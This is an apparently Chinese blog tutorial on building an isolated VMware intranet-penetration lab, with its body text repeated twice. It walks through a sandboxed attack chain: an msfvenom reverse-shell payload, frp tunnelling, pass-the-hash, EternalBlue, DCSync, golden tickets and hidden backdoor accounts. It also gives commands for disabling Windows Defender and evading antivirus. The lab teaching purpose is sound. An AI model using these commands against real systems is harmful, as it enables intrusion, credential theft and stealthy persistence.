1. 项目概述为什么我们需要一个可控的“内网战场”在网络安全领域尤其是渗透测试和红队评估中“内网渗透”是一个绕不开的核心技能。很多新手朋友拿到一个靶机或者通过Web漏洞拿到一个Webshell后面对内部网络往往感到无从下手。网上的教程要么过于零散要么直接丢给你一堆命令却不告诉你这些命令在什么场景下、为什么有效。这就像给你一把枪却不告诉你靶场在哪、靶子什么样。“内网渗透-网络实验配置”这个项目就是为了解决这个问题。它的核心目标不是教你如何攻击而是为你搭建一个高度仿真、完全可控、可反复“炸毁”和重建的内网实验环境。在这个环境里你可以安全地练习信息收集、横向移动、权限维持、隧道搭建等一系列内网渗透的关键技术而不用担心触犯法律或影响真实业务。简单说它就是一个属于你自己的、数字化的“网络攻防沙盘”。这个环境适合谁如果你是安全专业的学生、刚入行的渗透测试工程师、或者对网络攻防有浓厚兴趣的爱好者这个项目就是为你量身定做的。通过亲手搭建和配置你不仅能深刻理解内网的结构如域环境、工作组、多层网络分区更能将那些抽象的渗透命令如nmap扫描、msfvenom生成载荷、proxychains代理转发与具体的网络拓扑和主机角色对应起来真正做到“知其然更知其所以然”。2. 环境整体设计与核心思路拆解搭建内网实验环境绝不是随便开几台虚拟机那么简单。一个设计良好的环境应该能模拟真实企业内网中常见的元素和防御措施同时兼顾实验的便利性和可复现性。2.1 核心设计原则仿真性、隔离性与便捷性我的设计遵循三个核心原则仿真性环境需要包含典型内网组件。最基本的是一个域环境包含域控制器DC、成员服务器如文件服务器、Web服务器和域用户工作站。还可以模拟更复杂的场景如存在防火墙分隔的DMZ区、仅允许特定协议通行的网络段等。隔离性实验环境必须与你的真实主机宿主机以及互联网完全隔离。这是安全红线。我们通过虚拟网络的“仅主机Host-Only模式”或自定义的虚拟网络来实现确保所有的攻击流量只在虚拟环境内循环不会泄露出去。便捷性环境要易于搭建、重置和快照。一次复杂的配置成功后应立即创建虚拟机快照。这样无论实验过程中“玩”得多乱都可以一键恢复到干净状态极大提升学习效率。2.2 主流方案选型VMware vs. VirtualBox虚拟机软件是基石。主流选择是VMware Workstation Pro或Player和Oracle VirtualBox。VMware Workstation Pro功能强大网络配置灵活支持自定义虚拟网络性能和对新系统的兼容性通常更好。它的“团队”功能可以方便地管理多台虚拟机组成的拓扑。如果你的预算允许或者追求最稳定的实验体验VMware是首选。它模拟的网卡等硬件更“真实”能减少一些兼容性怪问题。Oracle VirtualBox免费、开源、跨平台。对于个人学习和实验其功能完全足够。它的网络配置同样灵活可以创建多个“内部网络”来模拟复杂的网络分区。注意无论选择哪个请务必从官网下载避免使用修改版以保证虚拟化组件的稳定和安全。我的选择与理由我个人长期使用VMware Workstation Pro。原因在于其网络模拟的精细度和稳定性。例如我可以轻松创建“VMnet2”模拟内网网段和“VMnet3”模拟DMZ区并精确控制哪些虚拟机接入哪个网络以及网络之间是否允许互通这非常贴合真实网络架构的设计。2.3 拓扑结构设计一个经典的靶场模型为了覆盖内网渗透的主要知识点我设计了一个三层拓扑模型这也是很多CTF靶场和渗透测试认证如OSCP的常见结构攻击机Attacker系统Kali Linux。集成了几乎所有需要的工具。网络双网卡配置。网卡1NAT模式用于连接宿主机方便从宿主机SSH连接、传输工具或临时访问互联网更新软件包。网卡2自定义Host-Only网络如VMnet2用于连接目标内网。这是发起渗透测试的主要接口。边界机/跳板机Jump Server系统Windows 7 或 Windows Server 2008 R2。选择旧版本系统是因为漏洞和利用方式更经典、稳定适合学习。角色模拟一个对外提供服务的服务器如Web服务器通常位于DMZ或直接暴露在攻击者视野下。它是进入内网的第一个“突破口”。网络双网卡配置。网卡1与攻击机在同一Host-Only网络VMnet2接收来自攻击机的初始攻击。网卡2另一个内部网络如VMnet3连接内部核心网络。这台机器通常被称为“双宿主机”。内网核心区域控制器Domain Controller, DC系统Windows Server 2012 R2 或 2016。安装Active Directory域服务创建一个域例如lab.local。角色整个内网的管理核心存储所有域用户、计算机账号和组策略。域成员服务器系统Windows Server 2012 R2。角色例如文件服务器File Server存放一些敏感数据用于练习横向移动中的凭据窃取和敏感信息搜寻。域用户工作站系统Windows 10。角色模拟普通员工的办公电脑登录着域用户账号。这是横向移动的常见目标。网络上述所有内网机器都连接到第二个内部网络VMnet3与边界机相连但与攻击机直接隔离。拓扑关系图文字描述[攻击机 (Kali)] --(VMnet2)-- [边界机 (Win7)] --(VMnet3)-- [内网核心区 (DC, 文件服务器, Win10工作站)]攻击机无法直接访问内网核心区必须首先攻陷边界机然后以边界机为跳板向内网渗透。3. 核心细节解析与实操要点3.1 虚拟网络配置详解这是整个环境搭建中最关键的一步决定了网络的隔离性和连通性。以VMware为例创建虚拟网络打开VMware的“虚拟网络编辑器”需要管理员权限。点击“更改设置”然后“添加网络”。我们添加两个网络例如VMnet2和VMnet3。类型均选择“仅主机模式”并取消勾选“将主机虚拟适配器连接到此网络”。这一步至关重要它确保了这两个网络完全封闭在虚拟机内部宿主机也无法直接接入实现了物理隔离。配置子网为VMnet2和VMnet3分别设置不同的IP网段。例如VMnet2:192.168.92.0/24(网关和DHCP可禁用我们手动配置IP)VMnet3:10.10.10.0/24为虚拟机分配网卡Kali攻击机添加两块网卡。第一块用“NAT”模式方便管理。第二块选择“自定义”-“VMnet2”。Win7边界机添加两块网卡。第一块选择“自定义”-“VMnet2”。第二块选择“自定义”-“VMnet3”。内网所有机器DC、文件服务器、Win10网卡均选择“自定义”-“VMnet3”。实操心得配置完成后在每台虚拟机内使用ipconfigWindows或ip addrLinux检查IP地址是否按预期分配。建议全部使用静态IP避免DHCP带来的变数。例如将Kali在VMnet2网卡的IP设为192.168.92.10Win7在VMnet2的IP设为192.168.92.20在VMnet3的IP设为10.10.10.20DC的IP设为10.10.10.1。3.2 操作系统安装与基础加固故意留“缺口”实验环境不是为了安全而是为了练习攻击。因此我们的“加固”是选择性的目的是模拟真实环境中常见的“脆弱点”。Windows系统安装所有Windows虚拟机安装时为管理员账户设置一个弱密码如Password123!或admin123。这是模拟弱口令漏洞。安装完成后立即关闭Windows防火墙或配置允许ICMP和后续实验需要的端口如445、135等。在实际渗透测试中防火墙是首要障碍但在学习阶段我们先绕过它专注于协议和漏洞本身。在边界机Win7上开启一些高风险服务如Web服务IIS、FTP服务并可能配置一个存在已知漏洞的旧版本应用如旧版CMS。Active Directory域环境搭建在DC上通过服务器管理器添加“Active Directory域服务”角色将其提升为域控制器创建新林和根域例如lab.local。创建组织单元OU、用户和组。例如创建IT、Finance等OU创建普通域用户zhangsan、lisi以及一个权限较高的服务账户svc_backup。关键技巧设置一些符合“Kerberos攻击”特征的账户。例如为svc_backup账户设置“不要求Kerberos预身份验证”属性或者给某个用户配置“约束委派”。这些是内网渗透中高阶的攻击路径。Kali攻击机准备更新源并执行全面升级sudo apt update sudo apt full-upgrade -y。安装一些额外的、好用的工具如impacket工具包用于各种协议攻击、bloodhound及其采集器sharpHound用于域内关系分析、chisel轻量级隧道工具、ligolo-ng现代隧道工具等。配置代理环境编辑/etc/proxychains4.conf将socks4 127.0.0.1 9050注释掉添加socks5 127.0.0.1 1080假设我们后续会用frp或nps的socks5代理。这是为后续横向移动做准备。4. 实操过程与核心环节实现环境搭好相当于舞台已就位。现在我们来模拟一次完整的、简化的内网渗透流程看看各个组件如何联动。4.1 阶段一外网打点与边界突破假设边界机Win7 IP:192.168.92.20运行着一个有漏洞的Web服务。信息收集# 从Kali攻击机(192.168.92.10)发起扫描 nmap -sS -sV -O -p- 192.168.92.20发现开放了80端口IIS 7.5和21端口FTP。漏洞利用通过目录扫描发现/admin后台。尝试弱口令admin/admin登录成功。后台存在文件上传功能但过滤了.php后缀。通过上传.php.jpg图片马并配合解析漏洞或上传.aspx文件服务器支持ASP.NET成功获取Webshell。通过Webshell执行命令添加一个用户并添加到管理员组或直接生成一个反向Shell。# 使用msfvenom生成一个针对Windows的反弹Shell载荷 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.92.10 LPORT4444 -f exe -o shell.exe将shell.exe上传到边界机并执行同时在Kali上启动msfconsole监听成功获得一个Meterpreter会话。权限提升与持久化在获得的Meterpreter会话中尝试本地提权例如利用getsystem命令或迁移到高权限进程。上传后门工具如msf的persistence模块或创建计划任务实现持久化访问。4.2 阶段二内网信息收集与横向移动现在我们以边界机为跳板探索内网10.10.10.0/24网段。网络拓扑探测在边界机的Meterpreter会话中执行run post/windows/gather/arp_scanner RHOSTS10.10.10.0/24或上传nmap的Windows版进行扫描。发现内网存活主机10.10.10.1(DC),10.10.10.5(文件服务器),10.10.10.10(Win10工作站)。搭建代理隧道为了从Kali攻击机直接访问内网资源需要在边界机上架设代理。这里使用frp。在Kali攻击机上运行frps服务端在边界机通过Meterpreter上传并执行运行frpc客户端配置一个socks5代理端口如1080转发到边界机。配置Kali的proxychains现在所有通过proxychains发起的命令流量都会经过边界机转向内网。proxychains nmap -sT -sV -p 445,139,135,88,389 10.10.10.1横向移动攻击密码喷射与哈希传递从边界机上抓取哈希使用hashdump或mimikatz。假设抓取到本地管理员哈希。使用crackmapexec或impacket套件中的psexec进行哈希传递攻击。proxychains python3 /usr/share/doc/python3-impacket/examples/psexec.py -hashes :[NTLM哈希] administrator10.10.10.5利用MS17-010永恒之蓝如果发现内网有未打补丁的Windows 7/Server 2008机器可以使用msf的exploit/windows/smb/ms17_010_eternalblue模块进行攻击。Kerberos协议攻击如果收集到的域用户账户设置了“不要求预认证”可以使用impacket的GetUsersSPNs或GetNPUsers工具请求TGT然后离线破解。4.3 阶段三域渗透与权限维持域内信息枚举在攻陷的任一域成员机器上使用net命令或PowerView脚本枚举域信息。net group “domain admins” /domain net user /domain使用BloodHound采集器SharpHound.ps1收集域内所有关系数据导入Kali的BloodHound图形界面分析攻击路径。这是发现“从普通域用户到域管理员最短路径”的利器。攻击域控制器DCSync攻击如果获得了域管理员或同等权限可以使用mimikatz的lsadump::dcsync功能直接让DC同步即泄露指定用户的哈希包括krbtgt账户。获取krbtgt哈希后可以制作黄金票据Golden Ticket获得域内任意资源的访问权限。PsExec直接控制使用获得的域管理员凭据通过psexec或wmiexec直接获取DC的System权限Shell。深度权限维持黄金票据如上所述使用krbtgt哈希创建黄金票据有效期可以设置为10年实现长期、隐蔽的权限维持。创建隐藏后门账户在DC上创建用户名末尾带$的账户如admin$这类账户在net user中默认不显示。DCShadow攻击这是一种高阶攻击攻击者模拟一个域控制器向真实的DC推送恶意更改如添加后门用户到高权限组隐蔽性极强。5. 常见问题与排查技巧实录在搭建和实验过程中你一定会遇到各种问题。这里记录一些我踩过的坑和解决方案。5.1 网络连通性问题问题虚拟机之间无法ping通。排查检查虚拟网络配置确认所有虚拟机的网卡是否连接到了正确的虚拟网络VMnet2/VMnet3。检查防火墙Windows防火墙是“头号杀手”。实验初期可以在所有Windows虚拟机上直接关闭防火墙netsh advfirewall set allprofiles state off。检查IP地址确认各虚拟机在相应网段的IP地址配置正确且无冲突。确保网关和DNS设置正确内网实验通常不需要网关。禁用IPv6有时IPv6会引起混淆。可以在网络适配器设置中暂时禁用IPv6。5.2 域环境搭建失败问题在Windows Server上安装AD域服务时失败提示域名问题或网络问题。排查设置静态IPDC必须使用静态IP不能是DHCP获取的。修改主机名在安装AD前将计算机名修改为一个符合FQDN格式的简单名字如DC01。配置DNS将DC自己的IP地址设为首选DNS服务器。这是AD工作的关键。使用全域名创建新林时使用一个虚构的根域名如lab.local不要使用.com等真实域名。5.3 横向移动工具失败问题使用psexec或wmiexec进行横向移动时连接被拒绝或认证失败。排查服务状态确保目标机器的Server服务对应445端口和Windows Management Instrumentation服务是运行的。防火墙规则确认目标机器的防火墙放行了135、445、139等端口。可以临时执行netsh advfirewall firewall add rule name“SMB” dirin actionallow protocolTCP localport445。用户权限确认你使用的凭据在目标机器上具有管理员权限。在工作组环境中需要目标机器的本地管理员密码在域环境中需要域管理员或目标机器本地管理员权限。哈希格式使用impacket工具进行哈希传递时确保哈希格式是LMHASH:NTHASH如果LM哈希为空则用:代替如aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0。5.4 代理隧道不稳定问题通过frp或reGeorg搭建的代理隧道时断时续速度慢。排查与技巧选择稳定工具对于TCP层的隧道frp和nps非常稳定。对于HTTP/HTTPS隧道用于突破严格的出口过滤reGeorg和Neo-reGeorg是经典选择但稳定性稍差。使用多级代理如果网络环境复杂可以尝试多级跳转。例如Kali - 边界机 - 内网另一台主机。使用ligolo-ng这是一个基于TUN接口的现代隧道工具性能非常好能自动路由体验接近直接接入内网强烈推荐在条件允许时使用。调整超时和重试在proxychains配置中增加tcp_read_time_out和tcp_connect_time_out的值。5.5 杀毒软件干扰问题上传的工具如mimikatz.exe,nc.exe被Windows Defender瞬间删除。规避技巧实时关闭在已获得Shell的机器上优先执行命令关闭实时防护。powershell Set-MpPreference -DisableRealtimeMonitoring $true免杀处理对工具进行混淆、加壳或自己编译。可以使用Veil-Evasion、Shellter等工具生成免杀载荷或者从GitHub寻找针对Defender的绕过技术。内存加载不将工具文件落地到磁盘。使用PowerShell或C#的Assembly.Load等方式直接从远程加载字节码到内存中执行。Covenant、SharPersist等框架支持这种方式。利用白名单使用MSBuild.exe,InstallUtil.exe等系统自带的可信程序来执行恶意代码。搭建这样一个内网渗透实验环境初期会花费不少时间在配置和排错上但这个过程本身极具价值。它能让你对内网协议、服务、安全机制和攻击链有立体而深刻的理解。当你在自己构建的“沙盘”里成功从外网一步步打到域控那种对整个攻击链路豁然开朗的感觉是只看教程无法比拟的。记住每完成一次完整的渗透就创建一个快照。然后尝试增加难度打开防火墙、部署简单的EDR、设置网络访问控制列表在攻防的不断对抗中你的实战能力会飞速成长。
从零搭建内网渗透靶场:VMware虚拟网络配置与域环境攻防实战
发布时间:2026/6/29 16:28:26
1. 项目概述为什么我们需要一个可控的“内网战场”在网络安全领域尤其是渗透测试和红队评估中“内网渗透”是一个绕不开的核心技能。很多新手朋友拿到一个靶机或者通过Web漏洞拿到一个Webshell后面对内部网络往往感到无从下手。网上的教程要么过于零散要么直接丢给你一堆命令却不告诉你这些命令在什么场景下、为什么有效。这就像给你一把枪却不告诉你靶场在哪、靶子什么样。“内网渗透-网络实验配置”这个项目就是为了解决这个问题。它的核心目标不是教你如何攻击而是为你搭建一个高度仿真、完全可控、可反复“炸毁”和重建的内网实验环境。在这个环境里你可以安全地练习信息收集、横向移动、权限维持、隧道搭建等一系列内网渗透的关键技术而不用担心触犯法律或影响真实业务。简单说它就是一个属于你自己的、数字化的“网络攻防沙盘”。这个环境适合谁如果你是安全专业的学生、刚入行的渗透测试工程师、或者对网络攻防有浓厚兴趣的爱好者这个项目就是为你量身定做的。通过亲手搭建和配置你不仅能深刻理解内网的结构如域环境、工作组、多层网络分区更能将那些抽象的渗透命令如nmap扫描、msfvenom生成载荷、proxychains代理转发与具体的网络拓扑和主机角色对应起来真正做到“知其然更知其所以然”。2. 环境整体设计与核心思路拆解搭建内网实验环境绝不是随便开几台虚拟机那么简单。一个设计良好的环境应该能模拟真实企业内网中常见的元素和防御措施同时兼顾实验的便利性和可复现性。2.1 核心设计原则仿真性、隔离性与便捷性我的设计遵循三个核心原则仿真性环境需要包含典型内网组件。最基本的是一个域环境包含域控制器DC、成员服务器如文件服务器、Web服务器和域用户工作站。还可以模拟更复杂的场景如存在防火墙分隔的DMZ区、仅允许特定协议通行的网络段等。隔离性实验环境必须与你的真实主机宿主机以及互联网完全隔离。这是安全红线。我们通过虚拟网络的“仅主机Host-Only模式”或自定义的虚拟网络来实现确保所有的攻击流量只在虚拟环境内循环不会泄露出去。便捷性环境要易于搭建、重置和快照。一次复杂的配置成功后应立即创建虚拟机快照。这样无论实验过程中“玩”得多乱都可以一键恢复到干净状态极大提升学习效率。2.2 主流方案选型VMware vs. VirtualBox虚拟机软件是基石。主流选择是VMware Workstation Pro或Player和Oracle VirtualBox。VMware Workstation Pro功能强大网络配置灵活支持自定义虚拟网络性能和对新系统的兼容性通常更好。它的“团队”功能可以方便地管理多台虚拟机组成的拓扑。如果你的预算允许或者追求最稳定的实验体验VMware是首选。它模拟的网卡等硬件更“真实”能减少一些兼容性怪问题。Oracle VirtualBox免费、开源、跨平台。对于个人学习和实验其功能完全足够。它的网络配置同样灵活可以创建多个“内部网络”来模拟复杂的网络分区。注意无论选择哪个请务必从官网下载避免使用修改版以保证虚拟化组件的稳定和安全。我的选择与理由我个人长期使用VMware Workstation Pro。原因在于其网络模拟的精细度和稳定性。例如我可以轻松创建“VMnet2”模拟内网网段和“VMnet3”模拟DMZ区并精确控制哪些虚拟机接入哪个网络以及网络之间是否允许互通这非常贴合真实网络架构的设计。2.3 拓扑结构设计一个经典的靶场模型为了覆盖内网渗透的主要知识点我设计了一个三层拓扑模型这也是很多CTF靶场和渗透测试认证如OSCP的常见结构攻击机Attacker系统Kali Linux。集成了几乎所有需要的工具。网络双网卡配置。网卡1NAT模式用于连接宿主机方便从宿主机SSH连接、传输工具或临时访问互联网更新软件包。网卡2自定义Host-Only网络如VMnet2用于连接目标内网。这是发起渗透测试的主要接口。边界机/跳板机Jump Server系统Windows 7 或 Windows Server 2008 R2。选择旧版本系统是因为漏洞和利用方式更经典、稳定适合学习。角色模拟一个对外提供服务的服务器如Web服务器通常位于DMZ或直接暴露在攻击者视野下。它是进入内网的第一个“突破口”。网络双网卡配置。网卡1与攻击机在同一Host-Only网络VMnet2接收来自攻击机的初始攻击。网卡2另一个内部网络如VMnet3连接内部核心网络。这台机器通常被称为“双宿主机”。内网核心区域控制器Domain Controller, DC系统Windows Server 2012 R2 或 2016。安装Active Directory域服务创建一个域例如lab.local。角色整个内网的管理核心存储所有域用户、计算机账号和组策略。域成员服务器系统Windows Server 2012 R2。角色例如文件服务器File Server存放一些敏感数据用于练习横向移动中的凭据窃取和敏感信息搜寻。域用户工作站系统Windows 10。角色模拟普通员工的办公电脑登录着域用户账号。这是横向移动的常见目标。网络上述所有内网机器都连接到第二个内部网络VMnet3与边界机相连但与攻击机直接隔离。拓扑关系图文字描述[攻击机 (Kali)] --(VMnet2)-- [边界机 (Win7)] --(VMnet3)-- [内网核心区 (DC, 文件服务器, Win10工作站)]攻击机无法直接访问内网核心区必须首先攻陷边界机然后以边界机为跳板向内网渗透。3. 核心细节解析与实操要点3.1 虚拟网络配置详解这是整个环境搭建中最关键的一步决定了网络的隔离性和连通性。以VMware为例创建虚拟网络打开VMware的“虚拟网络编辑器”需要管理员权限。点击“更改设置”然后“添加网络”。我们添加两个网络例如VMnet2和VMnet3。类型均选择“仅主机模式”并取消勾选“将主机虚拟适配器连接到此网络”。这一步至关重要它确保了这两个网络完全封闭在虚拟机内部宿主机也无法直接接入实现了物理隔离。配置子网为VMnet2和VMnet3分别设置不同的IP网段。例如VMnet2:192.168.92.0/24(网关和DHCP可禁用我们手动配置IP)VMnet3:10.10.10.0/24为虚拟机分配网卡Kali攻击机添加两块网卡。第一块用“NAT”模式方便管理。第二块选择“自定义”-“VMnet2”。Win7边界机添加两块网卡。第一块选择“自定义”-“VMnet2”。第二块选择“自定义”-“VMnet3”。内网所有机器DC、文件服务器、Win10网卡均选择“自定义”-“VMnet3”。实操心得配置完成后在每台虚拟机内使用ipconfigWindows或ip addrLinux检查IP地址是否按预期分配。建议全部使用静态IP避免DHCP带来的变数。例如将Kali在VMnet2网卡的IP设为192.168.92.10Win7在VMnet2的IP设为192.168.92.20在VMnet3的IP设为10.10.10.20DC的IP设为10.10.10.1。3.2 操作系统安装与基础加固故意留“缺口”实验环境不是为了安全而是为了练习攻击。因此我们的“加固”是选择性的目的是模拟真实环境中常见的“脆弱点”。Windows系统安装所有Windows虚拟机安装时为管理员账户设置一个弱密码如Password123!或admin123。这是模拟弱口令漏洞。安装完成后立即关闭Windows防火墙或配置允许ICMP和后续实验需要的端口如445、135等。在实际渗透测试中防火墙是首要障碍但在学习阶段我们先绕过它专注于协议和漏洞本身。在边界机Win7上开启一些高风险服务如Web服务IIS、FTP服务并可能配置一个存在已知漏洞的旧版本应用如旧版CMS。Active Directory域环境搭建在DC上通过服务器管理器添加“Active Directory域服务”角色将其提升为域控制器创建新林和根域例如lab.local。创建组织单元OU、用户和组。例如创建IT、Finance等OU创建普通域用户zhangsan、lisi以及一个权限较高的服务账户svc_backup。关键技巧设置一些符合“Kerberos攻击”特征的账户。例如为svc_backup账户设置“不要求Kerberos预身份验证”属性或者给某个用户配置“约束委派”。这些是内网渗透中高阶的攻击路径。Kali攻击机准备更新源并执行全面升级sudo apt update sudo apt full-upgrade -y。安装一些额外的、好用的工具如impacket工具包用于各种协议攻击、bloodhound及其采集器sharpHound用于域内关系分析、chisel轻量级隧道工具、ligolo-ng现代隧道工具等。配置代理环境编辑/etc/proxychains4.conf将socks4 127.0.0.1 9050注释掉添加socks5 127.0.0.1 1080假设我们后续会用frp或nps的socks5代理。这是为后续横向移动做准备。4. 实操过程与核心环节实现环境搭好相当于舞台已就位。现在我们来模拟一次完整的、简化的内网渗透流程看看各个组件如何联动。4.1 阶段一外网打点与边界突破假设边界机Win7 IP:192.168.92.20运行着一个有漏洞的Web服务。信息收集# 从Kali攻击机(192.168.92.10)发起扫描 nmap -sS -sV -O -p- 192.168.92.20发现开放了80端口IIS 7.5和21端口FTP。漏洞利用通过目录扫描发现/admin后台。尝试弱口令admin/admin登录成功。后台存在文件上传功能但过滤了.php后缀。通过上传.php.jpg图片马并配合解析漏洞或上传.aspx文件服务器支持ASP.NET成功获取Webshell。通过Webshell执行命令添加一个用户并添加到管理员组或直接生成一个反向Shell。# 使用msfvenom生成一个针对Windows的反弹Shell载荷 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.92.10 LPORT4444 -f exe -o shell.exe将shell.exe上传到边界机并执行同时在Kali上启动msfconsole监听成功获得一个Meterpreter会话。权限提升与持久化在获得的Meterpreter会话中尝试本地提权例如利用getsystem命令或迁移到高权限进程。上传后门工具如msf的persistence模块或创建计划任务实现持久化访问。4.2 阶段二内网信息收集与横向移动现在我们以边界机为跳板探索内网10.10.10.0/24网段。网络拓扑探测在边界机的Meterpreter会话中执行run post/windows/gather/arp_scanner RHOSTS10.10.10.0/24或上传nmap的Windows版进行扫描。发现内网存活主机10.10.10.1(DC),10.10.10.5(文件服务器),10.10.10.10(Win10工作站)。搭建代理隧道为了从Kali攻击机直接访问内网资源需要在边界机上架设代理。这里使用frp。在Kali攻击机上运行frps服务端在边界机通过Meterpreter上传并执行运行frpc客户端配置一个socks5代理端口如1080转发到边界机。配置Kali的proxychains现在所有通过proxychains发起的命令流量都会经过边界机转向内网。proxychains nmap -sT -sV -p 445,139,135,88,389 10.10.10.1横向移动攻击密码喷射与哈希传递从边界机上抓取哈希使用hashdump或mimikatz。假设抓取到本地管理员哈希。使用crackmapexec或impacket套件中的psexec进行哈希传递攻击。proxychains python3 /usr/share/doc/python3-impacket/examples/psexec.py -hashes :[NTLM哈希] administrator10.10.10.5利用MS17-010永恒之蓝如果发现内网有未打补丁的Windows 7/Server 2008机器可以使用msf的exploit/windows/smb/ms17_010_eternalblue模块进行攻击。Kerberos协议攻击如果收集到的域用户账户设置了“不要求预认证”可以使用impacket的GetUsersSPNs或GetNPUsers工具请求TGT然后离线破解。4.3 阶段三域渗透与权限维持域内信息枚举在攻陷的任一域成员机器上使用net命令或PowerView脚本枚举域信息。net group “domain admins” /domain net user /domain使用BloodHound采集器SharpHound.ps1收集域内所有关系数据导入Kali的BloodHound图形界面分析攻击路径。这是发现“从普通域用户到域管理员最短路径”的利器。攻击域控制器DCSync攻击如果获得了域管理员或同等权限可以使用mimikatz的lsadump::dcsync功能直接让DC同步即泄露指定用户的哈希包括krbtgt账户。获取krbtgt哈希后可以制作黄金票据Golden Ticket获得域内任意资源的访问权限。PsExec直接控制使用获得的域管理员凭据通过psexec或wmiexec直接获取DC的System权限Shell。深度权限维持黄金票据如上所述使用krbtgt哈希创建黄金票据有效期可以设置为10年实现长期、隐蔽的权限维持。创建隐藏后门账户在DC上创建用户名末尾带$的账户如admin$这类账户在net user中默认不显示。DCShadow攻击这是一种高阶攻击攻击者模拟一个域控制器向真实的DC推送恶意更改如添加后门用户到高权限组隐蔽性极强。5. 常见问题与排查技巧实录在搭建和实验过程中你一定会遇到各种问题。这里记录一些我踩过的坑和解决方案。5.1 网络连通性问题问题虚拟机之间无法ping通。排查检查虚拟网络配置确认所有虚拟机的网卡是否连接到了正确的虚拟网络VMnet2/VMnet3。检查防火墙Windows防火墙是“头号杀手”。实验初期可以在所有Windows虚拟机上直接关闭防火墙netsh advfirewall set allprofiles state off。检查IP地址确认各虚拟机在相应网段的IP地址配置正确且无冲突。确保网关和DNS设置正确内网实验通常不需要网关。禁用IPv6有时IPv6会引起混淆。可以在网络适配器设置中暂时禁用IPv6。5.2 域环境搭建失败问题在Windows Server上安装AD域服务时失败提示域名问题或网络问题。排查设置静态IPDC必须使用静态IP不能是DHCP获取的。修改主机名在安装AD前将计算机名修改为一个符合FQDN格式的简单名字如DC01。配置DNS将DC自己的IP地址设为首选DNS服务器。这是AD工作的关键。使用全域名创建新林时使用一个虚构的根域名如lab.local不要使用.com等真实域名。5.3 横向移动工具失败问题使用psexec或wmiexec进行横向移动时连接被拒绝或认证失败。排查服务状态确保目标机器的Server服务对应445端口和Windows Management Instrumentation服务是运行的。防火墙规则确认目标机器的防火墙放行了135、445、139等端口。可以临时执行netsh advfirewall firewall add rule name“SMB” dirin actionallow protocolTCP localport445。用户权限确认你使用的凭据在目标机器上具有管理员权限。在工作组环境中需要目标机器的本地管理员密码在域环境中需要域管理员或目标机器本地管理员权限。哈希格式使用impacket工具进行哈希传递时确保哈希格式是LMHASH:NTHASH如果LM哈希为空则用:代替如aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0。5.4 代理隧道不稳定问题通过frp或reGeorg搭建的代理隧道时断时续速度慢。排查与技巧选择稳定工具对于TCP层的隧道frp和nps非常稳定。对于HTTP/HTTPS隧道用于突破严格的出口过滤reGeorg和Neo-reGeorg是经典选择但稳定性稍差。使用多级代理如果网络环境复杂可以尝试多级跳转。例如Kali - 边界机 - 内网另一台主机。使用ligolo-ng这是一个基于TUN接口的现代隧道工具性能非常好能自动路由体验接近直接接入内网强烈推荐在条件允许时使用。调整超时和重试在proxychains配置中增加tcp_read_time_out和tcp_connect_time_out的值。5.5 杀毒软件干扰问题上传的工具如mimikatz.exe,nc.exe被Windows Defender瞬间删除。规避技巧实时关闭在已获得Shell的机器上优先执行命令关闭实时防护。powershell Set-MpPreference -DisableRealtimeMonitoring $true免杀处理对工具进行混淆、加壳或自己编译。可以使用Veil-Evasion、Shellter等工具生成免杀载荷或者从GitHub寻找针对Defender的绕过技术。内存加载不将工具文件落地到磁盘。使用PowerShell或C#的Assembly.Load等方式直接从远程加载字节码到内存中执行。Covenant、SharPersist等框架支持这种方式。利用白名单使用MSBuild.exe,InstallUtil.exe等系统自带的可信程序来执行恶意代码。搭建这样一个内网渗透实验环境初期会花费不少时间在配置和排错上但这个过程本身极具价值。它能让你对内网协议、服务、安全机制和攻击链有立体而深刻的理解。当你在自己构建的“沙盘”里成功从外网一步步打到域控那种对整个攻击链路豁然开朗的感觉是只看教程无法比拟的。记住每完成一次完整的渗透就创建一个快照。然后尝试增加难度打开防火墙、部署简单的EDR、设置网络访问控制列表在攻防的不断对抗中你的实战能力会飞速成长。